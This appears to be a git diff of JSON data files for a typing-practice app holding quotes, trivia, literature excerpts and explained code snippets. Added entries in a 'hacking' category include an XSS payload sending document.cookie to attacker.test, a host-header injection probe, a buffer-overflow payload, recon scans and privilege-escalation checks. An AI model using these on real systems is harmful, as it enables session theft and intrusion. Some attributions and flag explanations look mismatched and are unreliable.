+ "attribution": "Steve Jobs"
},
{
- "category": "anime",
- "content": "Trees and people used to be good friends.",
- "attribution": "My Neighbor Totoro"
+ "category": "movies",
+ "content": "You mustn't be afraid to dream a little bigger, darling.",
+ "attribution": "Inception (2010)"
},
{
"category": "programming",
- "content": "struct node { int value; struct node *next; };",
- "attribution": "C",
- "language": "clike",
- "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
+ "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
+ "attribution": "Shell",
+ "language": "shell",
+ "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
},
{
- "category": "nature",
- "content": "The world is big and I want to have a good look at it before it gets dark.",
- "attribution": "John Muir"
+ "category": "philosophy",
+ "content": "I think, therefore I am.",
+ "attribution": "Rene Descartes, Discourse on the Method"
},
{
"category": "anime",
- "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
- "attribution": "Mushishi"
+ "content": "If everyone is not special, maybe you can be what you want to be.",
+ "attribution": "Mob Psycho 100"
},
{
- "category": "philosophy",
- "content": "Waste no more time arguing about what a good man should be. Be one.",
+ "category": "quotes",
+ "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
"attribution": "Marcus Aurelius, Meditations"
},
{
- "category": "programming",
- "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
- },
- {
"category": "nature",
"content": "Migratory birds can travel thousands of miles between breeding and wintering grounds, navigating using the sun, stars, and the Earth's magnetic field.",
"attribution": "Nature"
},
{
- "category": "quotes",
- "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
- "attribution": "Abraham Lincoln, The Gettysburg Address"
+ "category": "anime",
+ "content": "Overspecialize, and you breed in weakness. It's slow death.",
+ "attribution": "Ghost in the Shell"
},
{
- "category": "business",
- "content": "The man who dies rich, dies disgraced.",
- "attribution": "Andrew Carnegie"
+ "category": "movies",
+ "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
+ "attribution": "Jurassic Park (1993)"
},
{
- "category": "quotes",
- "content": "To be great is to be misunderstood.",
- "attribution": "Ralph Waldo Emerson, Self-Reliance"
+ "category": "general",
+ "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.",
+ "attribution": "General knowledge"
},
{
- "category": "programming",
- "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
- "attribution": "Java",
- "language": "clike",
- "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
+ "category": "literature",
+ "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
+ "attribution": "H.G. Wells, The Time Machine"
},
{
- "category": "programming",
- "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
- "attribution": "Shell",
- "language": "shell",
- "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
+ "category": "business",
+ "content": "A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.",
+ "attribution": "Business"
},
{
"category": "general",
- "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.",
+ "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.",
"attribution": "General knowledge"
},
{
- "category": "business",
- "content": "A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.",
- "attribution": "Business"
+ "category": "science",
+ "content": "Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.",
+ "attribution": "Science"
},
{
- "category": "nature",
- "content": "Heaven is under our feet as well as over our heads.",
- "attribution": "Henry David Thoreau, Walden"
+ "category": "anime",
+ "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
+ "attribution": "Attack on Titan"
},
{
- "category": "technology",
- "content": "Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.",
- "attribution": "Technology"
+ "category": "movies",
+ "content": "Get busy living, or get busy dying.",
+ "attribution": "The Shawshank Redemption (1994)"
+ },
+ {
+ "category": "hacking",
+ "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
+ "attribution": "Recon",
+ "language": "shell",
+ "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
},
{
"category": "programming",
- "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
- "attribution": "Go",
+ "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
+ "attribution": "Java",
"language": "clike",
- "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
+ "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
},
{
- "category": "nature",
- "content": "Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.",
- "attribution": "Nature"
+ "category": "programming",
+ "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
},
{
"category": "nature",
- "content": "Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.",
+ "content": "Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.",
"attribution": "Nature"
},
{
- "category": "movies",
- "content": "Louis, I think this is the beginning of a beautiful friendship.",
- "attribution": "Casablanca (1942)"
- },
- {
"category": "history",
- "content": "The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.",
+ "content": "The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.",
"attribution": "History"
},
{
- "category": "business",
- "content": "Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.",
- "attribution": "Business"
- },
- {
- "category": "quotes",
- "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
- "attribution": "Confucius"
- },
- {
- "category": "philosophy",
- "content": "All men by nature desire to know.",
- "attribution": "Aristotle, Metaphysics"
+ "category": "movies",
+ "content": "I am big. It's the pictures that got small.",
+ "attribution": "Sunset Boulevard (1950)"
},
{
- "category": "general",
- "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.",
- "attribution": "General knowledge"
+ "category": "hacking",
+ "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
+ "attribution": "Exploit dev",
+ "language": "python",
+ "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
},
{
"category": "literature",
- "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
- "attribution": "Charles Dickens, Great Expectations"
+ "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
+ "attribution": "Oscar Wilde, The Picture of Dorian Gray"
},
{
"category": "programming",
- "content": "counts = {word: text.count(word) for word in set(text.split())}",
- "attribution": "Python",
- "language": "python",
- "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
- },
- {
- "category": "general",
- "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.",
- "attribution": "General knowledge"
+ "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
},
{
- "category": "quotes",
- "content": "Whatever you are, be a good one.",
- "attribution": "Abraham Lincoln"
+ "category": "business",
+ "content": "Price is what you pay, and value is what you get.",
+ "attribution": "Warren Buffett"
},
{
- "category": "programming",
- "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
+ "category": "technology",
+ "content": "The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.",
+ "attribution": "Technology"
},
{
- "category": "history",
- "content": "The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.",
- "attribution": "History"
+ "category": "business",
+ "content": "A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.",
+ "attribution": "Business"
},
{
"category": "general",
- "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.",
- "attribution": "General knowledge"
- },
- {
- "category": "nature",
- "content": "In every walk with nature one receives far more than he seeks.",
- "attribution": "John Muir"
+ "content": "The quick brown fox jumps over the lazy dog.",
+ "attribution": "Traditional pangram"
},
{
- "category": "anime",
- "content": "I feel like I'm always searching for someone, or something.",
- "attribution": "Your Name"
+ "category": "movies",
+ "content": "With great power comes great responsibility.",
+ "attribution": "Spider-Man (2002)"
},
{
"category": "movies",
@@ -970,240 +1088,276 @@
},
{
"category": "movies",
- "content": "Do. Or do not. There is no try.",
- "attribution": "The Empire Strikes Back (1980)"
+ "content": "Toto, I've a feeling we're not in Kansas anymore.",
+ "attribution": "The Wizard of Oz (1939)"
},
{
- "category": "anime",
- "content": "Anywhere can be paradise as long as you have the will to live.",
- "attribution": "Neon Genesis Evangelion"
+ "category": "technology",
+ "content": "The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.",
+ "attribution": "Technology"
+ },
+ {
+ "category": "quotes",
+ "content": "If I have seen further, it is by standing on the shoulders of giants.",
+ "attribution": "Isaac Newton"
},
{
"category": "anime",
- "content": "If everyone is not special, maybe you can be what you want to be.",
- "attribution": "Mob Psycho 100"
+ "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
+ "attribution": "Fullmetal Alchemist"
},
{
"category": "technology",
- "content": "The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.",
+ "content": "A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.",
"attribution": "Technology"
},
{
- "category": "quotes",
- "content": "The only limit to our realization of tomorrow is our doubts of today.",
- "attribution": "Franklin D. Roosevelt"
+ "category": "technology",
+ "content": "A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.",
+ "attribution": "Technology"
},
{
"category": "programming",
- "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
- },
- {
- "category": "quotes",
- "content": "If I have seen further, it is by standing on the shoulders of giants.",
- "attribution": "Isaac Newton"
+ "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
},
{
- "category": "movies",
- "content": "All those moments will be lost in time, like tears in rain. Time to die.",
- "attribution": "Blade Runner (1982)"
+ "category": "science",
+ "content": "Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.",
+ "attribution": "Science"
},
{
- "category": "general",
- "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.",
- "attribution": "General knowledge"
+ "category": "technology",
+ "content": "Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.",
+ "attribution": "Technology"
},
{
- "category": "business",
- "content": "Price is what you pay, and value is what you get.",
- "attribution": "Warren Buffett"
+ "category": "anime",
+ "content": "Trees and people used to be good friends.",
+ "attribution": "My Neighbor Totoro"
},
{
"category": "movies",
- "content": "You mustn't be afraid to dream a little bigger, darling.",
- "attribution": "Inception (2010)"
+ "content": "Louis, I think this is the beginning of a beautiful friendship.",
+ "attribution": "Casablanca (1942)"
},
{
"category": "science",
- "content": "Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.",
+ "content": "The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.",
"attribution": "Science"
},
{
+ "category": "history",
+ "content": "The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.",
+ "attribution": "History"
+ },
+ {
"category": "general",
- "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.",
+ "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.",
"attribution": "General knowledge"
},
{
- "category": "quotes",
- "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
- "attribution": "Henry David Thoreau, Walden"
+ "category": "movies",
+ "content": "All we have to decide is what to do with the time that is given us.",
+ "attribution": "The Lord of the Rings: The Fellowship of the Ring (2001)"
},
{
- "category": "quotes",
- "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.",
- "attribution": "Booker T. Washington"
+ "category": "general",
+ "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.",
+ "attribution": "General knowledge"
},
{
- "category": "technology",
- "content": "A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.",
- "attribution": "Technology"
+ "category": "history",
+ "content": "The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.",
+ "attribution": "History"
},
{
- "category": "anime",
- "content": "Don't believe in yourself. Believe in me who believes in you.",
- "attribution": "Gurren Lagann"
+ "category": "hacking",
+ "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
+ "attribution": "Recon",
+ "language": "shell",
+ "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
},
{
- "category": "science",
- "content": "The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.",
- "attribution": "Science"
+ "category": "philosophy",
+ "content": "Every new beginning comes from some other beginning's end.",
+ "attribution": "Seneca, Letters from a Stoic"
},
{
- "category": "science",
- "content": "The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.",
- "attribution": "Science"
+ "category": "hacking",
+ "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
+ "attribution": "Web",
+ "language": "shell",
+ "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
},
{
- "category": "movies",
- "content": "If you could see your whole life laid out in front of you, would you change things?",
- "attribution": "Arrival (2016)"
+ "category": "quotes",
+ "content": "Whatever you are, be a good one.",
+ "attribution": "Abraham Lincoln"
},
{
- "category": "general",
- "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.",
- "attribution": "General knowledge"
+ "category": "literature",
+ "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
+ "attribution": "Bram Stoker, Dracula"
},
{
- "category": "philosophy",
- "content": "It's not what happens to you, but how you react to it that matters.",
- "attribution": "Epictetus"
+ "category": "quotes",
+ "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
+ "attribution": "Confucius"
},
{
- "category": "general",
- "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.",
- "attribution": "General knowledge"
+ "category": "quotes",
+ "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.",
+ "attribution": "Booker T. Washington"
},
{
- "category": "anime",
- "content": "What I want more than anything is for you to live and help me live too.",
- "attribution": "A Silent Voice"
+ "category": "literature",
+ "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
+ "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
},
{
- "category": "philosophy",
- "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.",
- "attribution": "Philosophy"
+ "category": "literature",
+ "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
+ "attribution": "Charles Dickens, A Tale of Two Cities"
},
{
- "category": "science",
- "content": "Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.",
- "attribution": "Science"
+ "category": "hacking",
+ "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
+ "attribution": "Memory safety",
+ "language": "clike",
+ "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
},
{
- "category": "nature",
- "content": "Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.",
- "attribution": "Nature"
+ "category": "anime",
+ "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
+ "attribution": "Princess Mononoke"
+ },
+ {
+ "category": "literature",
+ "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
+ "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
},
{
"category": "programming",
- "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
- "attribution": "Go",
- "language": "clike",
- "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
+ "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
+ "attribution": "Python",
+ "language": "python",
+ "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
},
{
- "category": "science",
- "content": "The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.",
- "attribution": "Science"
+ "category": "anime",
+ "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
+ "attribution": "Mushishi"
},
{
"category": "general",
- "content": "Simplicity is the soul of efficiency.",
- "attribution": "Austin Freeman"
+ "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.",
+ "attribution": "General knowledge"
+ },
+ {
+ "category": "quotes",
+ "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
+ "attribution": "Theodore Roosevelt, Citizenship in a Republic"
+ },
+ {
+ "category": "hacking",
+ "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
+ "attribution": "Web",
+ "language": "javascript",
+ "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
},
{
"category": "science",
- "content": "Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.",
+ "content": "Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.",
"attribution": "Science"
},
{
- "category": "history",
- "content": "The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.",
- "attribution": "History"
+ "category": "general",
+ "content": "Simplicity is the soul of efficiency.",
+ "attribution": "Austin Freeman"
},
{
"category": "movies",
- "content": "You either die a hero, or you live long enough to see yourself become the villain.",
- "attribution": "The Dark Knight (2008)"
+ "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
+ "attribution": "The Matrix (1999)"
},
{
- "category": "literature",
- "content": "Not all those who wander are lost.",
- "attribution": "J.R.R. Tolkien"
+ "category": "programming",
+ "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
},
{
- "category": "philosophy",
- "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.",
- "attribution": "Philosophy"
+ "category": "quotes",
+ "content": "To be great is to be misunderstood.",
+ "attribution": "Ralph Waldo Emerson, Self-Reliance"
},
{
- "category": "movies",
- "content": "Toto, I've a feeling we're not in Kansas anymore.",
- "attribution": "The Wizard of Oz (1939)"
+ "category": "quotes",
+ "content": "It always seems impossible until it's done.",
+ "attribution": "Nelson Mandela"
},
{
- "category": "literature",
- "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
- "attribution": "Mary Shelley, Frankenstein"
+ "category": "programming",
+ "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
},
{
- "category": "history",
- "content": "The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.",
- "attribution": "History"
+ "category": "business",
+ "content": "Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.",
+ "attribution": "Business"
},
{
- "category": "quotes",
- "content": "Failure is impossible.",
- "attribution": "Susan B. Anthony"
+ "category": "programming",
+ "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
+ "attribution": "Python",
+ "language": "python",
+ "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
},
{
- "category": "anime",
- "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
- "attribution": "Princess Mononoke"
+ "category": "programming",
+ "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
},
{
- "category": "programming",
- "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
- "attribution": "C",
- "language": "clike",
- "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
+ "category": "science",
+ "content": "Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.",
+ "attribution": "Science"
},
{
- "category": "general",
- "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.",
- "attribution": "General knowledge"
+ "category": "programming",
+ "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
+ "attribution": "Go",
+ "language": "clike",
+ "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
},
{
- "category": "quotes",
- "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
- "attribution": "Sojourner Truth, Ain't I a Woman?"
+ "category": "hacking",
+ "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
+ "attribution": "Web",
+ "language": "shell",
+ "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
},
{
"category": "general",
- "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.",
+ "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.",
"attribution": "General knowledge"
},
{
- "category": "programming",
- "content": "try: value = int(raw) except ValueError: value = 0",
- "attribution": "Python",
- "language": "python",
- "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
+ "category": "quotes",
+ "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
+ "attribution": "Henry David Thoreau, Walden"
},
{
- "category": "anime",
- "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
- "attribution": "Steins;Gate"
+ "category": "literature",
+ "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
+ "attribution": "Mary Shelley, Frankenstein"
}
] \ No newline at end of file
diff --git a/web/src/data/texts.json b/web/src/data/texts.json
index 931151b..b659440 100644
--- a/web/src/data/texts.json
+++ b/web/src/data/texts.json
@@ -1,35 +1,75 @@
[
{
+ "category": "business",
+ "content": "Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.",
+ "attribution": "Business"
+ },
+ {
"category": "literature",
- "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
- "attribution": "Charles Dickens, A Tale of Two Cities"
+ "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
+ "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
+ },
+ {
+ "category": "technology",
+ "content": "Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.",
+ "attribution": "Technology"
+ },
+ {
+ "category": "hacking",
+ "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
+ "attribution": "Post-exploitation",
+ "language": "shell",
+ "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
+ },
+ {
+ "category": "programming",
+ "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
},
{
"category": "business",
- "content": "A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.",
- "attribution": "Business"
+ "content": "The purpose of a business is to create and keep a customer.",
+ "attribution": "Peter Drucker"
},
{
- "category": "movies",
- "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
- "attribution": "The Usual Suspects (1995)"
+ "category": "hacking",
+ "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
+ "attribution": "Web",
+ "language": "shell",
+ "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
},
{
"category": "anime",
- "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
- "attribution": "Fullmetal Alchemist"
+ "content": "Don't believe in yourself. Believe in me who believes in you.",
+ "attribution": "Gurren Lagann"
},
{
- "category": "general",
- "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.",
- "attribution": "General knowledge"
+ "category": "history",
+ "content": "The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.",
+ "attribution": "History"
+ },
+ {
+ "category": "hacking",
+ "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
+ "attribution": "Crypto",
+ "language": "shell",
+ "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
},
{
"category": "programming",
- "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
+ "content": "try: value = int(raw) except ValueError: value = 0",
"attribution": "Python",
"language": "python",
- "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
+ "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
+ },
+ {
+ "category": "hacking",
+ "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
+ "attribution": "Memory safety",
+ "language": "clike",
+ "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
},
{
"category": "philosophy",
@@ -37,123 +77,153 @@
"attribution": "Philosophy"
},
{
- "category": "business",
- "content": "Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.",
- "attribution": "Business"
+ "category": "movies",
+ "content": "I love the smell of napalm in the morning.",
+ "attribution": "Apocalypse Now (1979)"
},
{
- "category": "programming",
- "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
- "attribution": "C",
- "language": "clike",
- "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
+ "category": "nature",
+ "content": "A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.",
+ "attribution": "Nature"
},
{
- "category": "literature",
- "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
